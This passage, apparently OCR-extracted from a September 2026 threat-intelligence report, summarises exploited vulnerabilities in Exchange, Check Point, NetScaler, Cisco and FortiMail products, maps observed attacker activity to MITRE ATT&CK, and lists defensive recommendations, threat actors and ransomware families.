Update 14, Microsoft Exchange Server 2019 Cumulative Update 15, Microsoft Exchange Server Subscription Edition RTM
are affected. Users of these versions should verify which cumulative update applies to their installation.

Reference: https://msrc.microsoft.com/update-quide/vulnerability/CVE-2026-96940
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[ Microsoft September 2026 Security Updates J

Microsoft’s September 2026 Security Updates address a broad range of vulnerabilities across Windows and other Microsoft
products. The release includes security fixes and cumulative updates, with additional out-of-band updates issued to
address issues affecting Remote Desktop Services and other Windows components. Microsoft also expanded VEX reporting
to all Microsoft-assigned CVEs, helping organizations better assess vulnerability exposure and prioritize remediation.

Reference: https://msrc.microsoft.com/update-quide/releaseNote/2026-Sep

Enterprise Network & Infrastructure

[ Check Point Patches Exploited Management Server Zero-Day J

Check Point patches a directory traversal and file upload vulnerability allows an unauthenticated attacker to upload and
execute arbitrary scripts on Check Point Management Server. This vulnerability is exploited in the Wild. Check Point is
aware of a handful of customers who have been attacked. This issue received the ID CVE-2026-93616 and a CVSS score of
9.8. Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server,
SmartEvent are the affected products.

Reference: https://support.checkpoint.com/results/sk/sk1000171/

[ CitrixBleed 2: Critical NetScaler Flaw Enables Session Hijacking and MFA Bypass J

CVE-2025-5777 (CitrixBleed 2) is a critical memory exposure vulnerability affecting NetScaler ADC and Gateway
deployments configured with Gateway or AAA virtual servers. Attackers can exploit malformed login requests to leak
sensitive memory, including session tokens, enabling session hijacking and MFA bypass. The flaw is actively exploited and
has been added to CISA’s Known Exploited Vulnerabilities catalog. Organizations should immediately apply Citrix’s
recommended security patches. Over 400 NetScaler instances remain exposed, while the related CVE-2025-6543 affects
approximately 500 additional deployments.

Reference: https://www.netscaler.com/blogs/2025-06/netscaler-critical-security-updates-for-cve-2025-6543-and-cve-
2025-5777

[ CVE-2026-76461 actively exploited in Cisco Secure Email Gateway J

CVE-2026-76461 is a critical, actively exploited vulnerability in Cisco Secure Email Gateway that allows unauthenticated
remote attackers to execute arbitrary commands with root privileges, potentially causing full system compromise. CISA has
added it to the KEV catalog and mandated remediation by September 17, 2026. No patch or workaround is currently
available; organizations should monitor mail logs for suspicious activity and contact Cisco for guidance.

Reference: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX

[ CVE-2026-104286 actively exploited in FortiMail via path traversal and null byte injection J

CVE-2026-104286 is a critical FortiMail path traversal and null byte injection vulnerability (CVSS 9.8) enabling unauthorized
code or command execution and potential system compromise. It is actively exploited as a zero-day, with identified I0Cs
including modified files and suspicious IPs. CISA has mandated mitigation by October 4, 2026. Organizations should disable
IBE, restrict management access, apply security updates, and monitor for the reported 10Cs.

Reference: https://fortiguard.fortinet.com/psirt/FG-IR-26-175
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MITRE ATT&CK Mapping

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

T1190 Exploit Public-Facing
Application, T1078 Valid Accounts,
T1566 Phishing

T1059 Command and Scripting
Interpreter, T1204 User Execution,
T1203 Exploitation for Client Execution

T1505 Server Software Component,
T1098 Account Manipulation

T1068 Exploitation for Privilege
Escalation

T1562.001 Impair Defenses, T1070.004
File Deletion

T1539 Steal Web Session Cookie,
T1552.001 Unsecured Credentials

T1083 File and Directory Discovery

T1005 Data from Local System, T1213
Data from Information Repositories
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ShinyHunters alleged Oracle PeopleSoft

exploitation; Gyazo image-upload server
compromise; DMDC file-sharing vulnerability
exploitation; Brevo supply-chain compromise

and ClickFix activity.

Brevo ClickFix campaigns tricked users into
executing malicious commands; compromised
infrastructure delivered malicious JavaScript and
attempted WordPress plugin execution.

Brevo attackers attempted to install a malicious
WordPress plugin for persistence; compromised
credentials and sessions enabled continued
access.

Microsoft Exchange CVE-2026-96940 enabled
privilege escalation; Check Point, FortiMail and
other vulnerabilities

enterprise provided

opportunities for elevated access.

DragonForce employed security-tool disabling
and file deletion; ransomware operations used
evasion techniques to hinder detection and
response.

CitrixBleed 2 exposed session tokens enabling
session hijacking and MFA bypass; Brevo
involved a highly privileged Cloudflare APl key

embedded in application source code.

DragonForce ransomware activity included file
and directory discovery during compromised-
environment operations.

ShinyHunters claimed FBI personnel data theft;
Gyazo exposed user and image metadata; DMDC
data included military personnel Pll; UWAYS
claimed access to Saudi military hospital records.
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DragonForce conducted ransomware encryption
and extortion; RipperSec/TheGarudaEye
launched DDoS campaigns; ShinyHunters
allegedly defaced the FBI jobs portal.

T1486 Data Encrypted for Impact,
Collection / Exfiltration T1498 Network Denial of Service,
T1491.002 External Defacement

ShinyHunters alleged Oracle PeopleSoft

T1190 Exploit Public-Facing exploitation; Gyazo image-upload server
Impact Application, T1078 Valid Accounts, compromise; DMDC file-sharing vulnerability
T1566 Phishing exploitation; Brevo supply-chain compromise

and ClickFix activity.

| Recommendations

Cloud & Identity Security

Enforce phishing-resistant MFA for privileged, VPN, cloud and externally accessible accounts.

Rotate and secure API keys using centralized secrets management and periodic credential rotation.

Apply least-privilege access across cloud IAM, service accounts, APIs and third-party integrations.

Restrict cloud/SaaS administration to trusted networks or approved access paths where possible.

Audit third-party integrations by maintaining an inventory of OAuth apps, APl integrations and service principals.
Centralize cloud audit logging for authentication, IAM changes, API activity, administrative actions and data access.

Infrastructure & Vulnerability Management

e Prioritize actively exploited vulnerabilities affecting Check Point, Citrix NetScaler, Cisco Secure Email Gateway,
FortiMail and other products.

e Maintain an accurate internet-facing asset inventory covering VPNs, firewalls, email gateways, applications, APIs
and remote-access infrastructure and establish periodical audit on them.

o Adopt risk-based vulnerability prioritization using exploitation status, CISA KEV, CVSS, exposure, exploit availability
and business criticality.

e Establish emergency zero-day patching with predefined remediation, compensating controls, isolation and
validation procedures.

e Restrict management interfaces to authorized administrative networks and secure access paths.

e Strengthening software supply-chain security

e Harden web applications and APIs with secure coding, WAF, input validation, strong authentication and regular
penetration testing.
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Email & Endpoint Protection

e Strengthen phishing and ClickFix protection through targeted awareness on fake CAPTCHA, browser verification

and malicious command prompts.

e Monitor suspicious command execution involving PowerShell, CMD, scripting engines and LOLBins launched from

browsers, Office or downloaded files.

e Enable behavioral ransomware detection for mass file changes, encryption, shadow-copy deletion and security-

tool tampering.

e Protect EDR controls against unauthorized disabling, modification or service termination.
e Strengthen email authentication with SPF, DKIM and enforced DMARC policies.
e Maintain endpoint isolation procedures for rapid containment of ransomware, credential theft and malware

incidents.

e Conduct modern phishing simulations incorporating ClickFix and other current social-engineering techniques.

Appendix
Threat Actors Observed

Threat Actor m Primary Activity

ShinyHunters

DragonForce

RipperSec

TheGarudaEye
RBL Leviathan Ghost

The Comrade’s Group

UWAYS / Uways Qarani

0cx00iq

Marx

Unidentified Actor(s)

Financial / Extortion
Financial
Ideological / Hacktivism

Ideological / Hacktivism
Ideological / Hacktivism

Ideological / Hacktivism

Unknown

Financial / Data Sale

Financial / Data Sale

Unknown

Alleged data theft, unauthorized access, website defacement
and extortion

Ransomware-as-a-Service, data theft, encryption and extortion

DDoS Israeli organizations and

infrastructure

campaigns targeting

Layer 7 DDoS campaigns against Gulf-region infrastructure
DDoS participation against Israel Cart
Additional DDoS traffic against Israel Cart

Alleged unauthorized access and data theft involving Saudi
military healthcare infrastructure

Alleged sale of sensitive employee information belonging to
Kuwait’s National Security Agency

Alleged sale of Transfast-related payment SMS records and
portal access

Alleged compromise of the U.S. DoD Defense Manpower Data
Center
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Qilin

Akira

TheGentlemen

Storm

Krybit

DragonForce

Qilin

Akira

TheGentlemen

Storm

Krybit

DragonForce
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Malware Families Observed

Ransomware

Ransomware

Ransomware

Malware / Threat Campaign

Ransomware / Malware

Ransomware / RaaS

Ransomware

Ransomware

Ransomware

Malware / Threat Campaign

Ransomware / Malware

Ransomware / RaaS

28

Identified among the top active malware
families during September

Active ransomware family observed during
the reporting period

Identified among the top active malware
families

Identified among the top active malware
entries

Identified among the top active malware
entries

Ransomware operation employing
encryption, data theft and extortion

Identified among the top active malware
families during September

Active ransomware family observed during
the reporting period

Identified among the top active malware
families

Identified among the top active malware
entries

Identified among the top active malware
entries

Ransomware operation employing
encryption, data theft and extortion
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Acronyms

Adversarial Tactics, Techniques, and Common

Ak Knowledge

CISA Cybersecurity and Infrastructure Security Agency
CVE Common Vulnerabilities and Exposures

CVsSS Common Vulnerability Scoring System

DMDC Defense Manpower Data Center

DoD Department of Defense

KEV Known Exploited Vulnerabilities

NGO Non-Governmental Organization

Pl Personally Identifiable Information

PSMMC Prince Sultan Military Medical City

QFA Qatar Football Association

Raa$ Ransomware-as-a-Service

SBOM Software Bill of Materials

SIEM Security Information and Event Management
SSO Single Sign-On

TLP Traffic Light Protocol

TTP Tactics, Techniques and Procedures

URL Uniform Resource Locator
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